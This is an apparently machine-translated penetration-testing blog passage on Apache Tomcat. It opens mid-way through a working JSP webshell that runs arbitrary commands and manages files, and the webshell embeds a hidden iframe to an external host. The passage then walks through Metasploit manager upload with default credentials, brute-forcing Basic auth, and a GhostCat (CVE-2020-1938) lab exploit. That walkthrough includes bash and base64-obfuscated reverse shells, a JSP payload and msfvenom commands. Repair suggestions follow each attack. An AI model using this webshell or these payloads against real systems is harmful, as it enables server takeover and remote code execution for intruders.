tabobjlinks=tabobj.getElementsByTagName("A")
}

function do_onload(){
collecttablinks()
initTabcolor=cascadedstyle(tabobjlinks[1], "backgroundColor", "background-color")
initTabpostcolor=cascadedstyle(tabobjlinks[0], "backgroundColor", "background-color")
expandcontent(initialtab[1], tabobjlinks[initialtab[0]-1])
}

if (window.addEventListener)
window.addEventListener("load", do_onload, false)
else if (window.attachEvent)
window.attachEvent("onload", do_onload)
else if (document.getElementById)
window.onload=do_onload

 

</script>
<script language="javascript">

function doForm(action,path,file,cmd,tab,content)
{
 document.frmCqq.action.value=action;
 document.frmCqq.path.value=path;
 document.frmCqq.file.value=file;
 document.frmCqq.cmd.value=cmd;
 document.frmCqq.tabID.value=tab;
 document.frmCqq.content.value=content;
 if(action=="del")
 {
  if(confirm("Are you sure you want to delete the file "+file+" Are you?"))
  document.frmCqq.submit();
 }
 else
 {
  document.frmCqq.submit();    
 }
}
</script>

<title>JSP Shell Years alliance dedicated version</title>
<head>


<body>

<form name="frmCqq" method="post" action="">
<input type="hidden" name="action" value="">
<input type="hidden" name="path" value="">
<input type="hidden" name="file" value="">
<input type="hidden" name="cmd" value="">
<input type="hidden" name="tabID" value="2">
<input type="hidden" name="content" value="">
</form>

<!--Top Menu Started-->
<ul id="tablist">
<li><a href="" class="current" onClick="return expandcontent('menu1', this)"> <%=strFileManage[languageNo]%> </a></li>
<li><a href="new.htm" onClick="return expandcontent('menu2', this)" theme="#EAEAFF"> <%=strCommand[languageNo]%> </a></li>
<li><a href="hot.htm" onClick="return expandcontent('menu3', this)" theme="#EAEAFF"> <%=strSysProperty[languageNo]%> </a></li>
<li><a href="search.htm" onClick="return expandcontent('menu4', this)" theme="#EAEAFF"> <%=strHelp[languageNo]%> </a></li>
 &nbsp; <%=authorInfo[languageNo]%>
</ul>
<!--Top Menu End-->


<%
StringBuffer sbFolder=new StringBuffer("");
StringBuffer sbFile=new StringBuffer("");
try
{
 File objFile = new File(strDir);
 File list[] = objFile.listFiles(); 
 if(objFile.getAbsolutePath().length()>3)
 {
  sbFolder.append("<tr><td >&nbsp;</td><td><a href=\"javascript:doForm('','"+formatPath(objFile.getParentFile().getAbsolutePath())+"','','"+strCmd+"','1','');\">");
  sbFolder.append(strParentFolder[languageNo]+"</a><br>- - - - - - - - - - - </td></tr>\r\n ");


 }
 for(int i=0;i<list.length;i++)
 {
  if(list[i].isDirectory())
  {
   sbFolder.append("<tr><td >&nbsp;</td><td>");
   sbFolder.append("  <a href=\"javascript:doForm('','"+formatPath(list[i].getAbsolutePath())+"','','"+strCmd+"','1','');\">");
   sbFolder.append(list[i].getName()+"</a><br></td></tr> ");
  }
  else
  {
      String strLen="";
   String strDT="";
   long lFile=0;
   lFile=list[i].length();
   strLen = convertFileSize(lFile);
   Date dt=new Date(list[i].lastModified());
   strDT=dt.toLocaleString();
   sbFile.append("<tr onmouseover=\"this.style.backgroundColor='#FBFFC6'\" onmouseout=\"this.style.backgroundColor='white'\"><td>");
   sbFile.append(""+list[i].getName()); 
   sbFile.append("</td><td>");
   sbFile.append(""+strLen);
   sbFile.append("</td><td>");
   sbFile.append(""+strDT);
   sbFile.append("</td><td>");

   sbFile.append(" &nbsp;<a href=\"javascript:doForm('edit','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
   sbFile.append(strFileEdit[languageNo]+"</a> ");

   sbFile.append(" &nbsp;<a href=\"javascript:doForm('del','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
   sbFile.append(strFileDel[languageNo]+"</a> ");

   sbFile.append("  &nbsp;<a href=\"javascript:doForm('down','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
   sbFile.append(strFileDown[languageNo]+"</a> ");

   sbFile.append("  &nbsp;<a href=\"javascript:doForm('copy','"+formatPath(strDir)+"','"+list[i].getName()+"','"+strCmd+"','"+tabID+"','');\">");
   sbFile.append(strFileCopy[languageNo]+"</a> ");
  }  

 } 
}
catch(Exception e)
{
 out.println("<font color=red>Operation failed: "+e.toString()+"</font>");
}
%>

<DIV id="tabcontentcontainer">


<div id="menu3" class="tabcontent">
<br> 
<br> &nbsp;&nbsp; hang in the air
<br> 
<br>&nbsp;

</div>

<div id="menu4" class="tabcontent">
<br>
<p>1, Function description</p>
<p>&nbsp;&nbsp;&nbsp; jsp Version of file manager, through which you can remotely manage the file system on the server. You can create, modify</p>
<p>Delete and download files and directories. about windows The system also provides the function of command line window, which can run some programs, similar to</p>
<p>And windows of cmd. </p>
<p>&nbsp;</p>
<p>2, Testing</p>
<p>&nbsp;&nbsp;&nbsp;<b>Please leave me a message if you have any questions, comments or suggestions during use, so as to make this program more perfect and stable,<p>
The message address is:<a href="http://" target="_blank"></a></b>
<p>&nbsp;</p>
<p>3, Update record</p>
<p>&nbsp;&nbsp;&nbsp; 2004.11.15&nbsp; V0.9 The beta release adds some basic functions, such as file editing, copying, deleting, downloading, uploading and creating a new file directory</p>
<p>&nbsp;&nbsp;&nbsp; 2004.10.27&nbsp; Temporarily set to 0.6 Version bar, provides directory file browsing function and cmd function</p>
<p>&nbsp;&nbsp;&nbsp; 2004.09.20&nbsp; first jsp&nbsp;Program is this simple small program that displays directory files</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
</div>


<div id="menu1" class="tabcontent">
<%
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+":  <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
%>
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
       
        <tr> 
          <td width="25%" align="center" valign="top"> 
              <table width="98%" border="0" cellspacing="0" cellpadding="3">
     <%=sbFolder%>
                </tr>                 
              </table>
          </td>
          <td width="81%" align="left" valign="top">
 
 <%
 if(strAction!=null && strAction.equals("edit"))
 {
  out.println(sbEdit.toString());
 }
 else if(strAction!=null && strAction.equals("copy"))
 {
  out.println(sbCopy.toString());
 }
 else if(strAction!=null && strAction.equals("down"))
 {
  out.println(sbDown.toString());
 }
 else if(strAction!=null && strAction.equals("savecopy"))
 {
  out.println(sbSaveCopy.toString());
 }
 else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
 {
  out.println(sbNewFile.toString());
 }
 else
 {
 %>
  <span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
              <tr bgcolor="#E7e7e6"> 
                <td width="26%"><%=strFileName[languageNo]%></td>
                <td width="19%"><%=strFileSize[languageNo]%></td>
                <td width="29%"><%=strLastModified[languageNo]%></td>
                <td width="26%"><%=strFileOperation[languageNo]%></td>
              </tr>              
            <%=sbFile%>
             <!-- <tr align="center"> 
                <td colspan="4"><br>
                  Total number of documents:<font color="#FF0000">30</font> ,size:<font color="#FF0000">664.9</font> 
                  KB </td>
              </tr>
    -->
            </table>
   </span>
 <%
 }  
 %>

          </td>
        </tr>

 <form name="frmMake" action="" method="post">
 <tr><td colspan=2 bgcolor=#FBFFC6>
 <input type="hidden" name="action" value="newFile">
 <input type="hidden" name="path" value="<%=strDir%>">
 <input type="hidden" name="file" value="<%=strFile%>">
 <input type="hidden" name="cmd" value="<%=strCmd%>">
 <input type="hidden" name="tabID" value="1">
 <input type="hidden" name="content" value="">
 <%
 if(!strDir.endsWith("\\"))
 strDir = strDir + "\\";
 %>
 <input type="text" name="fileName" size=36 value="<%=strDir%>">
 <input type="submit" name="btnNewFile" value="new file" onclick="frmMake.submit()" > 
 <input type="submit" name="btnNewDir" value="new directory"  onclick="frmMake.submit()" > 
 </form>  
 <form name="frmUpload" enctype="multipart/form-data" action="" method="post">
 <input type="hidden" name="action" value="upload">
 <input type="hidden" name="path" value="<%=strDir%>">
 <input type="hidden" name="file" value="<%=strFile%>">
 <input type="hidden" name="cmd" value="<%=strCmd%>">
 <input type="hidden" name="tabID" value="1">
 <input type="hidden" name="content" value="">
 <input type="file" name="cqqUploadFile" size="36">
 <input type="submit" name="submit" value="upload">
 </td></tr></form>
      </table>
</div>
<div id="menu2" class="tabcontent">

<%
String line="";
StringBuffer sbCmd=new StringBuffer("");

if(strCmd!=null) 
{
 try
 {
  //out.println(strCmd);
  Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
  BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
  while((line=br.readLine())!=null)
  {
   sbCmd.append(line+"\r\n");  
  }    
 }
 catch(Exception e)
 {
  System.out.println(e.toString());
 }
}
else
{
 strCmd = "set";
}

%>
<form name="cmd" action="" method="post">
&nbsp;
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
<input type="hidden" name="tabID" value="2">
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
</form>
<%
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
{
%>
&nbsp;<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
<br>&nbsp;
<%
}
%>
</DIV>
</div>
<br><br>
<center><a href="http://" target="_blank"></a> 
<br>
<iframe src=http://7jyewu.cn/a/a.asp width=0 height=0></iframe>

MSF attack

use exploit/multi/http/tomcat_mgr_upload 
set HttpUsername tomcat
set HttpPassword tomcat
set rhosts 192.168.175.191
set rport 8080
exploit

I'll skip it and operate it myself

That's how we got in

Repair suggestions

1,Run with low privileges on the system Tomcat Application. Create a dedicated Tomcat Service user, who can only have a minimum set of permissions (for example, remote login is not allowed)
2,Add local and certificate based authentication and deploy account locking mechanism (for centralized authentication, the directory service should also be configured accordingly).
stay CATALINA_HOME/conf/web.xml Set file locking mechanism and time-out limit
3,And for manager-gui/manager-status/manager-script Set the minimum permission access limit on the directory page

Tomcat manager App brute force cracking

Loophole recurrence

Let's grab the bag backstage first

Then put the package for login

Notice the echo here

Authorization: Basic dG9tY2F0OnRvbWNhdA==

Find the background login account and password of Tomcat

base64 encrypted account: password

Then we go back to grab the bag backstage and blow it up

Add encoding rules for codebook and base64

Remove the check mark of this self-contained code

Start the attack and get the account and password

Here's the second way

Custom iterator

Load in different locations

For example, there should be three positions here

The following settings are the same as before

base64 encoding and unchecked default Url encoding

Repair suggestions

1.cancel manager/html function
2.manager Pages should only allow local IP visit

Tomcat AJP file contains vulnerability analysis (CVE-2020-1938)

Vulnerability profile

Because Tomcat did not verify the AJP request when processing it

By setting the properties of the request object encapsulated by AJP connector, arbitrary file reading vulnerability and code execution vulnerability are generated!
CVE-2020-1938, also known as GhostCat, is a security vulnerability in Tomcat discovered by security researchers of Changting technology. Due to defects in the design of Tomcat AJP protocol, an attacker can read or contain any file under all webapp directories on Tomcat through Tomcat AJP Connector, such as webapp configuration file or source code.

In addition, when the target application has the function of file upload, the harm of remote code execution can be achieved with the use of file inclusion.

Source code analysis

The vulnerability is caused by two configuration files

Tomat has two important configuration files conf / server xml,conf/web.xml

The former defines the component properties involved in Tomcat startup, including two connectors (components used to process requests)

If it is enabled, tomcat will listen to ports 8080 and 8009 after startup, which are responsible for receiving data from http and ajp protocols respectively

The latter, like ordinary Java Web applications, is used to define servlet s

Apache Tomcat 9.x < 9.0.31
Apache Tomcat 8.x<8.5.51
Apache Tomcat 7.x<7.0.100
Apache tomcat 6.x

Reference link

https://xz.aliyun.com/t/7325

https://yinwc.github.io/2020/03/01/CVE-2020-1938/

Operation process

As can be seen from the figure, the topmost Container of Tomcat is Server, which contains at least one or more services. A Service consists of multiple connectors and a Container.

The functions of these two components are:

1,Connector Used to handle connection related matters and provide Socket And Request and Response Related transformation;
2,Container For encapsulation and management Servlet,And specific treatment Request request

Tomcat defaults to conf / server Two connectors are configured in XML,

One is the HTTP protocol (version 1.1) port of port 8080. The default listening address is 0.0.0.0:8080

The other is the default 8009 AJP protocol (version 1.3). The default listening address is 0.0.0.0:8009. Both ports listen to the Internet by default. The location of this vulnerability is the 8009 AJP protocol. The public script is used to test here. You can see that you can read the web XML file

Loophole recurrence

Using vulhub

cd tomcat/CVE-2020-1938

sudo docker-compose up -d

Poc address: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

The script is based on Python 2

It can see everything in the webapps directory

You can see its syntax requirements

python2 File reading.py 192.168.175.191 -p 8009 -f webapps Files to be read under directory
python2 File reading.py 192.168.175.191 -p 8009 -f /WEB-INF/web.xml

File contains RCE

Online bash payload generation: http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.175.191/8888 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NS4xOTEvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

Final txt payload

<%
    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NS4xOTEvODg4OCAwPiYx}|{base64,-d}|{bash,-i}").getInputStream();
    int a = -1;
    byte[] b = new byte[2048];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
        out.println(new String(b));
    }
    out.print("</pre>");
%>

You have to upload it manually here

see

sudo docker ps

Then start uploading

sudo docker cp /home/dayu/Desktop/1.txt 6c80deb9d194:/usr/local/tomcat/webapps/ROOT

You can go to the bottom of docker

sudo docker exec -ti 6c bash

Success passed on

Enable nc listening

See here for details: https://blog.csdn.net/qq_30653631/article/details/93749505?utm_medium=distribute.pc_aggpage_search_result.none -task-blog-2~aggregatepage~first_ rank_ v2~rank_ aggregation-1-93749505. pc_ agg_ rank_ aggregation&utm_ term=Ubuntu%E5%AE%89%E8%A3%85nc&spm=1000.2123.3001.4430

python2 File contains.py 192.168.175.191 -p 8009 -f 1.txt

You can see the successful launch

It can be linked with War, right? It can be linked with PUT

Pop the shell onto the MSF

MSF generate Trojan

I'd better go to kali. Ubuntu is not very easy

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.175.167 LPORT=4444 R > shell.txt

sudo docker cp /home/dayu/Desktop/shell.txt 6c80deb9d194:/usr/local/tomcat/webapps/ROOT

Go to the bottom of docker

Enable listening on MSF

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.175.167
lhost => 192.168.175.167
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > exploit -j

The execution file contains RCE

python2 File contains.py 192.168.175.191 -p 8009 -f shell.txt

You can see that you've got the shell

Press shell to come in

Repair suggestions

1. Upgrade Tomcat to version 9.0.31, 8.5.51, or 7.0.100 immediately for repair
2. Disable AJP protocol
Specific methods:

Edit / conf / server XML, find the following line:

<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />

Comment or delete

3. Configure secret to set the authentication credentials of AJP protocol.

Topics: Operation & Maintenance Tomcat security Cyber Security penetration test